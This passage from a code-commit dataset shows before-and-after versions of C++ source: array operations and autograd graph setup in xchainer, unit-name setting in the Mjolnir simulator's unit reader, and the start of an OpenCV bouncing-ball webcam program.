graph_ids) const {\n    switch (kind) {\n        case CopyKind::kCopy:\n            \/\/ TODO(takgi): implement deep copy version\n            throw NotImplementedError(\"not implemented\");\n        case CopyKind::kView: {\n            Array out{shape(), dtype(), body_->data_, is_contiguous(), offset()};\n            for (const std::shared_ptr<ArrayNode>& node : nodes()) {\n                if (std::find(graph_ids.begin(), graph_ids.end(), node->graph_id()) == graph_ids.end()) {\n                    out.body_->nodes_.emplace_back(node);\n                }\n            }\n            return std::move(out);\n        }\n        default:\n            assert(false);  \/\/ should never be reached\n    }\n}\n\nvoid Array::Add(const Array& rhs, Array& out) const {\n    \/\/ TODO(sonots): dtype conversion\n    CheckEqual(dtype(), rhs.dtype());\n    \/\/ TODO(sonots): broadcasting\n    CheckEqual(shape(), rhs.shape());\n\n    auto lhs_backward_function = [](const Array& gout) -> Array { return gout; };\n    auto rhs_backward_function = lhs_backward_function;\n    internal::SetUpOpNodes(\"add\", {*this, rhs}, out, {lhs_backward_function, rhs_backward_function});\n\n    Device device = GetCurrentDevice();\n    if (device == MakeDevice(\"cpu\")) {\n        xchainer::Add(*this, rhs, out);\n#ifdef XCHAINER_ENABLE_CUDA\n    } else if (device == MakeDevice(\"cuda\")) {\n        xchainer::cuda::Add(*this, rhs, out);\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n    } else {\n        throw DeviceError(\"invalid device\");\n    }\n}\n\nvoid Array::Mul(const Array& rhs, Array& out) const {\n    \/\/ TODO(sonots): dtype conversion\n    CheckEqual(dtype(), rhs.dtype());\n    \/\/ TODO(sonots): broadcasting\n    CheckEqual(shape(), rhs.shape());\n\n    auto lhs_backward_function = [other_view = rhs](const Array& gout) { return gout * other_view; };\n    auto rhs_backward_function = [other_view = *this](const Array& gout) { return gout * other_view; };\n    internal::SetUpOpNodes(\"mul\", {*this, rhs}, out, {lhs_backward_function, rhs_backward_function});\n\n    Device device = GetCurrentDevice();\n    if (device == MakeDevice(\"cpu\")) {\n        xchainer::Mul(*this, rhs, out);\n#ifdef XCHAINER_ENABLE_CUDA\n    } else if (device == MakeDevice(\"cuda\")) {\n        xchainer::cuda::Mul(*this, rhs, out);\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n    } else {\n        throw DeviceError(\"invalid device\");\n    }\n}\n\nvoid Array::Fill(Scalar value) {\n    Device device = GetCurrentDevice();\n    if (device == MakeDevice(\"cpu\")) {\n        xchainer::Fill(*this, value);\n#ifdef XCHAINER_ENABLE_CUDA\n    } else if (device == MakeDevice(\"cuda\")) {\n        xchainer::cuda::Fill(*this, value);\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n    } else {\n        throw DeviceError(\"invalid device\");\n    }\n}\n\nstd::string Array::ToString() const { return ArrayRepr(*this); }\n\nnamespace {\n\nvoid DebugDumpComputationalGraph(std::ostream& os, const ArrayNode& array_node, int indent) {\n    static const char kIndentChar = ' ';\n\n    os << std::string(static_cast<size_t>(indent * 2), kIndentChar) << \"ArrayNode<\" << &array_node << \">\" << std::endl;\n\n    std::shared_ptr<const OpNode> op = array_node.next_node();\n    if (op) {\n        os << std::string(static_cast<size_t>((indent + 1) * 2), kIndentChar) << \"Op<\" << op->name() << \">\" << std::endl;\n        for (const std::shared_ptr<const ArrayNode>& next_node : op->next_nodes()) {\n            DebugDumpComputationalGraph(os, *next_node, static_cast<size_t>(indent + 2));\n        }\n    }\n}\n\n}  \/\/ namespace\n\nvoid DebugDumpComputationalGraph(std::ostream& os, const Array& array, const GraphId& graph_id, int indent) {\n    DebugDumpComputationalGraph(os, *array.GetNode(graph_id), indent);\n}\n\n}  \/\/ namespace xchainer\n<commit_msg>Fix implementation<commit_after>#include \"xchainer\/array.h\"\n\n#include <algorithm>\n#include <cassert>\n#include <cstring>\n#include <string>\n#include <unordered_map>\n\n#ifdef XCHAINER_ENABLE_CUDA\n#include <cuda.h>\n#include <cuda_runtime.h>\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n#include <gsl\/gsl>\n\n#include \"xchainer\/array_fill.h\"\n#include \"xchainer\/array_math.h\"\n#include \"xchainer\/array_repr.h\"\n#ifdef XCHAINER_ENABLE_CUDA\n#include \"xchainer\/cuda\/array_fill.h\"\n#include \"xchainer\/cuda\/array_math.h\"\n#include \"xchainer\/cuda\/cuda_runtime.h\"\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n#include \"xchainer\/device.h\"\n#include \"xchainer\/error.h\"\n#include \"xchainer\/memory.h\"\n#include \"xchainer\/op_node.h\"\n#include \"xchainer\/scalar.h\"\n\nnamespace xchainer {\nnamespace internal {\n\n\/\/ Private definition of ArrayBody\nArrayBody::ArrayBody(const Shape& shape, Dtype dtype, bool is_contiguous, std::shared_ptr<void> data, int64_t offset,\n                     std::vector<std::shared_ptr<ArrayNode>> nodes)\n    : shape_(shape), dtype_(dtype), is_contiguous_(is_contiguous), data_(std::move(data)), offset_(offset), nodes_(std::move(nodes)) {}\n\nbool ArrayBody::HasNode(const GraphId& graph_id) const {\n    return std::find_if(nodes_.begin(), nodes_.end(), [&graph_id](const auto& node) { return graph_id == node->graph_id(); }) !=\n           nodes_.end();\n}\n\nstd::shared_ptr<const ArrayNode> ArrayBody::GetNode(const GraphId& graph_id) const { return GetMutableNode(graph_id); }\n\nconst std::shared_ptr<ArrayNode>& ArrayBody::GetMutableNode(const GraphId& graph_id) const {\n    auto it = std::find_if(nodes_.begin(), nodes_.end(), [&graph_id](const auto& node) { return graph_id == node->graph_id(); });\n    if (it == nodes_.end()) {\n        throw XchainerError(\"Cannot find ArrayNode for graph: \" + graph_id);\n    }\n    return *it;\n}\n\nconst std::shared_ptr<ArrayNode>& ArrayBody::CreateNode(const GraphId& graph_id) {\n    if (HasNode(graph_id)) {\n        throw XchainerError(\"Duplicate graph registration: \" + graph_id);\n    }\n    nodes_.emplace_back(std::make_shared<ArrayNode>(graph_id));\n    return nodes_.back();\n}\n\nvoid SetUpOpNodes(const std::string& name, const std::vector<std::reference_wrapper<const Array>>& inputs, Array& out,\n                  const std::vector<std::function<Array(const Array&)>>& backward_functions) {\n    if (inputs.size() != backward_functions.size()) {\n        throw XchainerError(\"Cannot construct a graph where numbers of input Arrays and backward functions do not match.\");\n    }\n\n    std::unordered_map<GraphId, std::shared_ptr<OpNode>> graph_edges;\n\n    \/\/ Helper function to create an edge in the graph\n    auto create_edge = [&name, &graph_edges](const std::shared_ptr<ArrayNode>& next_node, auto& backward_function) {\n        std::shared_ptr<OpNode>& op_node = graph_edges[next_node->graph_id()];  \/\/ Create if not exists\n        if (!op_node) {\n            op_node = std::make_shared<OpNode>(name);\n        }\n        op_node->set_rank(std::max(op_node->rank(), next_node->rank()));\n        op_node->RegisterNextNode(next_node, backward_function);\n    };\n\n    for (size_t i = 0; i < inputs.size(); ++i) {                                  \/\/ For each input\n        for (const std::shared_ptr<ArrayNode>& node : inputs[i].get().nodes()) {  \/\/ For each graph, create an edge\n            create_edge(node, backward_functions[i]);\n        }\n    }\n\n    if (!graph_edges.empty() && std::any_of(inputs.begin(), inputs.end(), [&out](const Array& input) { return &out == &input; })) {\n        throw XchainerError(\"In-place operation (\" + name + \") is not supported for an array that require gradients.\");\n    }\n\n    \/\/ Bind edges to output\n    for (const auto& edge : graph_edges) {\n        const GraphId& graph_id = edge.first;\n        const std::shared_ptr<OpNode>& op_node = edge.second;\n\n        const std::shared_ptr<ArrayNode>& out_node = out.body()->CreateNode(graph_id);\n        out_node->set_next_node(op_node);\n        out_node->set_rank(op_node->rank() + 1);\n    }\n}\n\n}  \/\/ namespace internal\n\nArray::Array(const Shape& shape, Dtype dtype, std::shared_ptr<void> data, bool is_contiguous, int64_t offset)\n    : body_(std::make_shared<internal::ArrayBody>(shape, dtype, is_contiguous, std::move(data), offset)) {}\n\nArray::Array(const Array& other)\n    : body_(std::make_shared<internal::ArrayBody>(other.shape(), other.dtype(), other.is_contiguous(), other.body_->data_, other.offset(),\n                                                  other.body_->nodes_)) {}\n\nconst nonstd::optional<Array>& Array::GetGrad(const GraphId& graph_id) const { return body_->GetNode(graph_id)->grad(); }\n\nvoid Array::SetGrad(Array grad, const GraphId& graph_id) { body_->GetMutableNode(graph_id)->set_grad(std::move(grad)); }\n\nvoid Array::ClearGrad(const GraphId& graph_id) { body_->GetMutableNode(graph_id)->ClearGrad(); }\n\nArray Array::FromBuffer(const Shape& shape, Dtype dtype, std::shared_ptr<void> data) {\n    auto bytesize = static_cast<size_t>(shape.total_size() * GetElementSize(dtype));\n    std::shared_ptr<void> device_data = internal::MemoryFromBuffer(GetCurrentDevice(), data, bytesize);\n    return {shape, dtype, device_data};\n}\n\nArray Array::Empty(const Shape& shape, Dtype dtype) {\n    auto bytesize = static_cast<size_t>(shape.total_size() * GetElementSize(dtype));\n    std::shared_ptr<void> data = internal::Allocate(GetCurrentDevice(), bytesize);\n    return {shape, dtype, data};\n}\n\nArray Array::Full(const Shape& shape, Scalar scalar, Dtype dtype) {\n    Array array = Empty(shape, dtype);\n    array.Fill(scalar);\n    return array;\n}\n\nArray Array::Full(const Shape& shape, Scalar scalar) { return Full(shape, scalar, scalar.dtype()); }\n\nArray Array::Zeros(const Shape& shape, Dtype dtype) { return Full(shape, 0, dtype); }\n\nArray Array::Ones(const Shape& shape, Dtype dtype) { return Full(shape, 1, dtype); }\n\nArray Array::EmptyLike(const Array& array) { return Empty(array.shape(), array.dtype()); }\n\nArray Array::FullLike(const Array& array, Scalar scalar) { return Full(array.shape(), scalar, array.dtype()); }\n\nArray Array::ZerosLike(const Array& array) { return Zeros(array.shape(), array.dtype()); }\n\nArray Array::OnesLike(const Array& array) { return Ones(array.shape(), array.dtype()); }\n\nArray& Array::operator+=(const Array& rhs) {\n    Add(rhs, *this);\n    return *this;\n}\n\nArray& Array::operator*=(const Array& rhs) {\n    Mul(rhs, *this);\n    return *this;\n}\n\nArray Array::operator+(const Array& rhs) const {\n    Array out = Array::EmptyLike(*this);\n    Add(rhs, out);\n    return out;\n}\n\nArray Array::operator*(const Array& rhs) const {\n    Array out = Array::EmptyLike(*this);\n    Mul(rhs, out);\n    return out;\n}\n\nArray Array::Copy() const {\n    Array out = Array::EmptyLike(*this);\n    CopyTo(out);\n    return out;\n}\n\nvoid Array::CopyTo(Array& out) const {\n    internal::SetUpOpNodes(\"copy\", {*this}, out, {[](const Array& gout) { return gout; }});\n\n    \/\/ TODO(hvy): When non-C-contiguous orders are supported, we cannot blindly copy all elements but need to take\n    \/\/ is_contiguous_ and offset_ into account\n    internal::MemoryCopy(out.data().get(), body_->data_.get(), total_bytes());\n}\n\nArray Array::AsConstant(CopyKind kind) const {\n    switch (kind) {\n        case CopyKind::kCopy:\n            \/\/ TODO(takgi): implement deep copy version\n            throw NotImplementedError(\"not implemented\");\n        case CopyKind::kView:\n            return Array{shape(), dtype(), body_->data_, is_contiguous(), offset()};\n        default:\n            assert(false);  \/\/ should never be reached\n    }\n}\n\nArray Array::AsConstant(CopyKind kind, const std::vector<GraphId>& graph_ids) const {\n    switch (kind) {\n        case CopyKind::kCopy:\n            \/\/ TODO(takgi): implement deep copy version\n            throw NotImplementedError(\"not implemented\");\n        case CopyKind::kView: {\n            Array out{shape(), dtype(), body_->data_, is_contiguous(), offset()};\n            for (const std::shared_ptr<ArrayNode>& node : nodes()) {\n                if (std::find(graph_ids.begin(), graph_ids.end(), node->graph_id()) == graph_ids.end()) {\n                    out.body_->nodes_.emplace_back(node);\n                }\n            }\n            return std::move(out);\n        }\n        default:\n            assert(false);  \/\/ should never be reached\n    }\n}\n\nvoid Array::Add(const Array& rhs, Array& out) const {\n    \/\/ TODO(sonots): dtype conversion\n    CheckEqual(dtype(), rhs.dtype());\n    \/\/ TODO(sonots): broadcasting\n    CheckEqual(shape(), rhs.shape());\n\n    auto lhs_backward_function = [](const Array& gout) -> Array { return gout; };\n    auto rhs_backward_function = lhs_backward_function;\n    internal::SetUpOpNodes(\"add\", {*this, rhs}, out, {lhs_backward_function, rhs_backward_function});\n\n    Device device = GetCurrentDevice();\n    if (device == MakeDevice(\"cpu\")) {\n        xchainer::Add(*this, rhs, out);\n#ifdef XCHAINER_ENABLE_CUDA\n    } else if (device == MakeDevice(\"cuda\")) {\n        xchainer::cuda::Add(*this, rhs, out);\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n    } else {\n        throw DeviceError(\"invalid device\");\n    }\n}\n\nvoid Array::Mul(const Array& rhs, Array& out) const {\n    \/\/ TODO(sonots): dtype conversion\n    CheckEqual(dtype(), rhs.dtype());\n    \/\/ TODO(sonots): broadcasting\n    CheckEqual(shape(), rhs.shape());\n\n    auto lhs_backward_function = [other_view = rhs](const Array& gout) { return gout * other_view; };\n    auto rhs_backward_function = [other_view = *this](const Array& gout) { return gout * other_view; };\n    internal::SetUpOpNodes(\"mul\", {*this, rhs}, out, {lhs_backward_function, rhs_backward_function});\n\n    Device device = GetCurrentDevice();\n    if (device == MakeDevice(\"cpu\")) {\n        xchainer::Mul(*this, rhs, out);\n#ifdef XCHAINER_ENABLE_CUDA\n    } else if (device == MakeDevice(\"cuda\")) {\n        xchainer::cuda::Mul(*this, rhs, out);\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n    } else {\n        throw DeviceError(\"invalid device\");\n    }\n}\n\nvoid Array::Fill(Scalar value) {\n    Device device = GetCurrentDevice();\n    if (device == MakeDevice(\"cpu\")) {\n        xchainer::Fill(*this, value);\n#ifdef XCHAINER_ENABLE_CUDA\n    } else if (device == MakeDevice(\"cuda\")) {\n        xchainer::cuda::Fill(*this, value);\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n    } else {\n        throw DeviceError(\"invalid device\");\n    }\n}\n\nstd::string Array::ToString() const { return ArrayRepr(*this); }\n\nnamespace {\n\nvoid DebugDumpComputationalGraph(std::ostream& os, const ArrayNode& array_node, int indent) {\n    static const char kIndentChar = ' ';\n\n    os << std::string(static_cast<size_t>(indent * 2), kIndentChar) << \"ArrayNode<\" << &array_node << \">\" << std::endl;\n\n    std::shared_ptr<const OpNode> op = array_node.next_node();\n    if (op) {\n        os << std::string(static_cast<size_t>((indent + 1) * 2), kIndentChar) << \"Op<\" << op->name() << \">\" << std::endl;\n        for (const std::shared_ptr<const ArrayNode>& next_node : op->next_nodes()) {\n            DebugDumpComputationalGraph(os, *next_node, static_cast<size_t>(indent + 2));\n        }\n    }\n}\n\n}  \/\/ namespace\n\nvoid DebugDumpComputationalGraph(std::ostream& os, const Array& array, const GraphId& graph_id, int indent) {\n    DebugDumpComputationalGraph(os, *array.GetNode(graph_id), indent);\n}\n\n}  \/\/ namespace xchainer\n<|endoftext|>"}
{"text":"<commit_before>#ifndef MJOLNIR_INPUT_READ_UNIT_SYSTEM_HPP\n#define MJOLNIR_INPUT_READ_UNIT_SYSTEM_HPP\n#include <extlib\/toml\/toml.hpp>\n#include <mjolnir\/math\/constants.hpp>\n#include <mjolnir\/core\/Unit.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <mjolnir\/input\/read_simulator.hpp>\n#include <cmath>\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nstd::unique_ptr<SimulatorBase> read_units(const toml::table& data)\n{\n    MJOLNIR_GET_DEFAULT_LOGGER();\n    MJOLNIR_LOG_FUNCTION();\n    using real_type = typename traitsT::real_type;\n    using phys_type = physics::constants<real_type>;\n    using unit_type = unit::constants<real_type>;\n\n    const auto& units  = toml::find<toml::value>(data,  \"units\");\n    const auto& energy = toml::find<std::string>(units, \"energy\");\n    const auto& length = toml::find<std::string>(units, \"length\");\n    MJOLNIR_LOG_NOTICE(\"energy unit is [\", energy, ']');\n    MJOLNIR_LOG_NOTICE(\"length unit is [\", length, ']');\n\n    if(energy == \"kcal\/mol\")\n    {\n        \/\/ kB [J\/K] -> [kcal\/mol\/K] by * (J to cal) * 1e-3 * (\/mol)\n        phys_type::set_kB(phys_type::kB() * (unit_type::J_to_cal \/ 1000.0) *\n                          unit_type::avogadro_constant);\n\n        \/\/ eps0 [F\/m] == [C^2\/J\/m] -> [C^2\/(kcal\/mol)\/m]\n        phys_type::set_eps0(phys_type::eps0() * (1000.0 \/ unit_type::J_to_cal) \/\n                            unit_type::avogadro_constant);\n    }\n    else if(energy == \"kJ\/mol\")\n    {\n        \/\/ kB [J\/K] -> [kJ\/mol\/K]\n        phys_type::set_kB(phys_type::kB() * 1e-3 * unit_type::avogadro_constant);\n        \/\/ eps0 [F\/m] == [C^2\/J\/m] -> [C^2\/kJ\/mol\/m]\n        phys_type::set_eps0(phys_type::eps0() * 1e+3 \/\n                            unit_type::avogadro_constant);\n    }\n    else\n    {\n        throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n            \"mjolnir::read_units: unknown unit for energy: `\",\n            toml::find(units, \"energy\"), \"here\", {\n            \"expected value is one of the following.\",\n            \"- \\\"kcal\/mol\\\"\",\n            \"- \\\"kJ\/mol\\\"\"\n            }));\n    }\n\n    \/\/ until here, SI `m` are used as length unit.\n\n    \/\/ 1 [mol\/m^3] = 1e-3  [mol\/L] = 1e-27 [mol\/nm^3] = 1e-30 [mol\/A^3]\n    \/\/               1     [mol\/L] = 1e-24 [mol\/nm^3] = 1e-27 [mol\/A^3]\n    if(length == \"angstrom\" || length == u8\"Å\")\n    {\n        \/\/ eps0 [C^2\/Energy\/m] -> [C^2\/Energy\/Angstrom]\n        phys_type::set_eps0(phys_type::eps0() \/ unit_type::m_to_angstrom);\n\n        \/\/ 1 m = 10^9 nm, 1 nm = 10^-9 m\n        phys_type::set_m_to_length(unit_type::m_to_angstrom);\n        phys_type::set_length_to_m(unit_type::angstrom_to_m);\n\n        \/\/ 1 [L] = 1e-3 [m^3] = 1e+24 [nm^3]; 1 [m^3] = 1e27 [nm^3]\n        phys_type::set_L_to_volume(1e-3 * std::pow(unit_type::m_to_angstrom, 3));\n        phys_type::set_volume_to_L(1e+3 * std::pow(unit_type::angstrom_to_m, 3));\n\n        MJOLNIR_LOG_INFO(\"1 [m] = \", phys_type::m_to_length(), \" [\", length, \"]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"] = \", phys_type::length_to_m(), \" [m]\");\n\n        MJOLNIR_LOG_INFO(\"1 [L] = \", phys_type::L_to_volume(), \" [\", length, \"^3]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"^3] = \", phys_type::volume_to_L(), \" [L]\");\n    }\n    else if(length == \"nm\")\n    {\n        \/\/ eps0 [C^2\/Energy\/m] -> [C^2\/Energy\/nm]\n        phys_type::set_eps0(phys_type::eps0() \/ unit_type::m_to_nm);\n\n        \/\/ 1 m = 10^9 nm, 1 nm = 10^-9 m\n        phys_type::set_m_to_length(unit_type::m_to_nm);\n        phys_type::set_length_to_m(unit_type::nm_to_m);\n\n        \/\/ 1 [L] = 1e-3 [m^3] = 1e+24 [nm^3]; 1 [m^3] = 1e27 [nm^3]\n        phys_type::set_L_to_volume(1e-3 * std::pow(unit_type::m_to_nm, 3));\n        phys_type::set_volume_to_L(1e+3 * std::pow(unit_type::nm_to_m, 3));\n\n        MJOLNIR_LOG_INFO(\"1 [m] = \", phys_type::m_to_length(), \" [\", length, \"]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"] = \", phys_type::length_to_m(), \" [m]\");\n\n        MJOLNIR_LOG_INFO(\"1 [L] = \", phys_type::L_to_volume(), \" [\", length, \"^3]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"^3] = \", phys_type::volume_to_L(), \" [L]\");\n    }\n    else\n    {\n        throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n            \"mjolnir::read_units: unknown unit for length: `\",\n            toml::find(units, \"length\"), \"here\", {\n            \"expected value is one of the following.\",\n            \"- \\\"nm\\\"\",\n            \"- \\\"angstrom\\\"\"\n            }));\n    }\n\n    MJOLNIR_LOG_INFO(u8\"phys::kB = \", phys_type::kB(), \" [\", energy, \"]\");\n    MJOLNIR_LOG_INFO(u8\"phys::NA = \", phys_type::NA(), \" [1\/mol]\");\n    MJOLNIR_LOG_INFO(u8\"phys::ε0 = \", phys_type::eps0(),\n                     \" [e^2 \/ (\", energy, '*', length, \")]\");\n\n    return read_simulator<traitsT>(data);\n}\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<double, UnlimitedBoundary>>(const toml::table& data);\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<float,  UnlimitedBoundary>>(const toml::table& data);\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<double, CuboidalPeriodicBoundary>>(const toml::table& data);\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<float,  CuboidalPeriodicBoundary>>(const toml::table& data);\n#endif\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_READ_UNIT_SYSTEM_HPP\n<commit_msg>feat: set energy unit names in read_units<commit_after>#ifndef MJOLNIR_INPUT_READ_UNIT_SYSTEM_HPP\n#define MJOLNIR_INPUT_READ_UNIT_SYSTEM_HPP\n#include <extlib\/toml\/toml.hpp>\n#include <mjolnir\/math\/constants.hpp>\n#include <mjolnir\/core\/Unit.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <mjolnir\/input\/read_simulator.hpp>\n#include <cmath>\n\nnamespace mjolnir\n{\n\ntemplate<typename traitsT>\nstd::unique_ptr<SimulatorBase> read_units(const toml::table& data)\n{\n    MJOLNIR_GET_DEFAULT_LOGGER();\n    MJOLNIR_LOG_FUNCTION();\n    using real_type = typename traitsT::real_type;\n    using phys_type = physics::constants<real_type>;\n    using unit_type = unit::constants<real_type>;\n\n    const auto& units  = toml::find<toml::value>(data,  \"units\");\n    const auto& energy = toml::find<std::string>(units, \"energy\");\n    const auto& length = toml::find<std::string>(units, \"length\");\n    MJOLNIR_LOG_NOTICE(\"energy unit is [\", energy, ']');\n    MJOLNIR_LOG_NOTICE(\"length unit is [\", length, ']');\n\n    if(energy == \"kcal\/mol\")\n    {\n        \/\/ kB [J\/K] -> [kcal\/mol\/K] by * (J to cal) * 1e-3 * (\/mol)\n        phys_type::set_kB(phys_type::kB() * (unit_type::J_to_cal \/ 1000.0) *\n                          unit_type::avogadro_constant);\n\n        \/\/ eps0 [F\/m] == [C^2\/J\/m] -> [C^2\/(kcal\/mol)\/m]\n        phys_type::set_eps0(phys_type::eps0() * (1000.0 \/ unit_type::J_to_cal) \/\n                            unit_type::avogadro_constant);\n\n        \/\/ set name of energy unit\n        phys_type::set_energy_unit(energy);\n    }\n    else if(energy == \"kJ\/mol\")\n    {\n        \/\/ kB [J\/K] -> [kJ\/mol\/K]\n        phys_type::set_kB(phys_type::kB() * 1e-3 * unit_type::avogadro_constant);\n        \/\/ eps0 [F\/m] == [C^2\/J\/m] -> [C^2\/kJ\/mol\/m]\n        phys_type::set_eps0(phys_type::eps0() * 1e+3 \/\n                            unit_type::avogadro_constant);\n\n        \/\/ set name of energy unit\n        phys_type::set_energy_unit(energy);\n    }\n    else\n    {\n        throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n            \"mjolnir::read_units: unknown unit for energy: `\",\n            toml::find(units, \"energy\"), \"here\", {\n            \"expected value is one of the following.\",\n            \"- \\\"kcal\/mol\\\"\",\n            \"- \\\"kJ\/mol\\\"\"\n            }));\n    }\n\n    \/\/ until here, SI `m` are used as length unit.\n\n    \/\/ 1 [mol\/m^3] = 1e-3  [mol\/L] = 1e-27 [mol\/nm^3] = 1e-30 [mol\/A^3]\n    \/\/               1     [mol\/L] = 1e-24 [mol\/nm^3] = 1e-27 [mol\/A^3]\n    if(length == \"angstrom\" || length == u8\"Å\")\n    {\n        \/\/ eps0 [C^2\/Energy\/m] -> [C^2\/Energy\/Angstrom]\n        phys_type::set_eps0(phys_type::eps0() \/ unit_type::m_to_angstrom);\n\n        \/\/ 1 m = 10^9 nm, 1 nm = 10^-9 m\n        phys_type::set_m_to_length(unit_type::m_to_angstrom);\n        phys_type::set_length_to_m(unit_type::angstrom_to_m);\n\n        \/\/ 1 [L] = 1e-3 [m^3] = 1e+24 [nm^3]; 1 [m^3] = 1e27 [nm^3]\n        phys_type::set_L_to_volume(1e-3 * std::pow(unit_type::m_to_angstrom, 3));\n        phys_type::set_volume_to_L(1e+3 * std::pow(unit_type::angstrom_to_m, 3));\n\n        MJOLNIR_LOG_INFO(\"1 [m] = \", phys_type::m_to_length(), \" [\", length, \"]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"] = \", phys_type::length_to_m(), \" [m]\");\n\n        MJOLNIR_LOG_INFO(\"1 [L] = \", phys_type::L_to_volume(), \" [\", length, \"^3]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"^3] = \", phys_type::volume_to_L(), \" [L]\");\n\n        \/\/ set name of length unit\n        phys_type::set_length_unit(\"angstrom\");\n    }\n    else if(length == \"nm\")\n    {\n        \/\/ eps0 [C^2\/Energy\/m] -> [C^2\/Energy\/nm]\n        phys_type::set_eps0(phys_type::eps0() \/ unit_type::m_to_nm);\n\n        \/\/ 1 m = 10^9 nm, 1 nm = 10^-9 m\n        phys_type::set_m_to_length(unit_type::m_to_nm);\n        phys_type::set_length_to_m(unit_type::nm_to_m);\n\n        \/\/ 1 [L] = 1e-3 [m^3] = 1e+24 [nm^3]; 1 [m^3] = 1e27 [nm^3]\n        phys_type::set_L_to_volume(1e-3 * std::pow(unit_type::m_to_nm, 3));\n        phys_type::set_volume_to_L(1e+3 * std::pow(unit_type::nm_to_m, 3));\n\n        MJOLNIR_LOG_INFO(\"1 [m] = \", phys_type::m_to_length(), \" [\", length, \"]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"] = \", phys_type::length_to_m(), \" [m]\");\n\n        MJOLNIR_LOG_INFO(\"1 [L] = \", phys_type::L_to_volume(), \" [\", length, \"^3]\");\n        MJOLNIR_LOG_INFO(\"1 [\", length, \"^3] = \", phys_type::volume_to_L(), \" [L]\");\n\n        \/\/ set name of length unit\n        phys_type::set_length_unit(\"nm\");\n    }\n    else\n    {\n        throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n            \"mjolnir::read_units: unknown unit for length: `\",\n            toml::find(units, \"length\"), \"here\", {\n            \"expected value is one of the following.\",\n            \"- \\\"nm\\\"\",\n            \"- \\\"angstrom\\\"\"\n            }));\n    }\n\n    MJOLNIR_LOG_INFO(u8\"phys::kB = \", phys_type::kB(), \" [\", energy, \"]\");\n    MJOLNIR_LOG_INFO(u8\"phys::NA = \", phys_type::NA(), \" [1\/mol]\");\n    MJOLNIR_LOG_INFO(u8\"phys::ε0 = \", phys_type::eps0(),\n                     \" [e^2 \/ (\", energy, '*', length, \")]\");\n\n    return read_simulator<traitsT>(data);\n}\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<double, UnlimitedBoundary>>(const toml::table& data);\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<float,  UnlimitedBoundary>>(const toml::table& data);\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<double, CuboidalPeriodicBoundary>>(const toml::table& data);\nextern template std::unique_ptr<SimulatorBase> read_units<SimulatorTraits<float,  CuboidalPeriodicBoundary>>(const toml::table& data);\n#endif\n\n} \/\/ mjolnir\n#endif\/\/ MJOLNIR_READ_UNIT_SYSTEM_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Joey Button\n *\n *\n *\/\n\n#include <stdio.h>\n#include <opencv2\/video\/background_segm.hpp>\n#include \"opencv2\/opencv.hpp\"\n\n\/\/ #include <iostream>\n\/\/ #include <sstream>\n\n\n\nusing namespace cv;\nusing namespace std;\n#define RADIUS 32\n\n\n\nMat fgMaskMOG; \/\/fg mask generated by MOG method\n\nBackgroundSubtractorMOG2 MOG;\n\nconst char *win = \"video\";\n\n\nvoid drawCircle(Mat img, Point center)\n{\n    int thickness = -1;\n    int lineType = 8;\n\n    circle( img,\n            center,\n            RADIUS,\n            Scalar( 255, 255, 255 ),\n            thickness,\n            lineType);\n}\n\nvoid calcDir(Point *momentum, Point *pt, int height, int width){\n      pt->x += momentum->x;\n      pt->y += momentum->y;\n\n\n      if (pt->y < height) {\n           \/\/ Accelerate due to Gravity\n          momentum->y += 1;\n      } else {\n          momentum->x = momentum->x *0.9;\n          momentum->y = -(momentum->y * .5);   \/\/ bounce back up and halt it\n          pt->y = height;\n      }\n\n      \/\/off the top\n      if (pt->y < RADIUS) {\n            pt->y=RADIUS;\n            momentum->y += 1;\n            momentum->y = -(momentum->y * .5);\n            momentum->x = momentum->x *0.9;\n      }\n\n      if (momentum->y * momentum->y <= 49 && pt->y > height){\n          momentum->y = 0;\n      }\n\n}\n\nint main()\n{\n    int cam = 0; \/\/ default camera\n    VideoCapture cap(cam);\n    if (!cap.isOpened()) {\n        fprintf(stderr, \"cannot open camera %d\\n\", cam);\n        exit(1);\n    }\n\n    \/\/ namedWindow(win);\n    namedWindow(win, 1);\n    Mat inputFrame, outFrame;\n    Point pt;\n    pt.x = 500;\n    pt.y = 0;\n\n    Point momentum;\n    momentum.x = 0;\n    momentum.y = 150;\n\n    double count = 0;\n\n    cap >> inputFrame;\n    cvtColor(inputFrame, outFrame, CV_LOAD_IMAGE_COLOR);\n\n    int height = inputFrame.rows-2*RADIUS;\n    int width = inputFrame.cols-2*RADIUS;\n\n    while (++count) {\n        cap >> inputFrame;\n\n        calcDir(&momentum, &pt, height, width);\n\n        MOG(inputFrame, fgMaskMOG);\n\n\n        \/\/EVERYTHING ABOVE THIS SHOULD BE CALCULATING WHERE TO DRAW\n\n        \/\/EVERYTHING BELOW THIS LINE SHOULD BE DRAWING THE outFrame\n        outFrame.setTo(Scalar(0,0,0)); \/\/set all of outFrame to be black\n\n        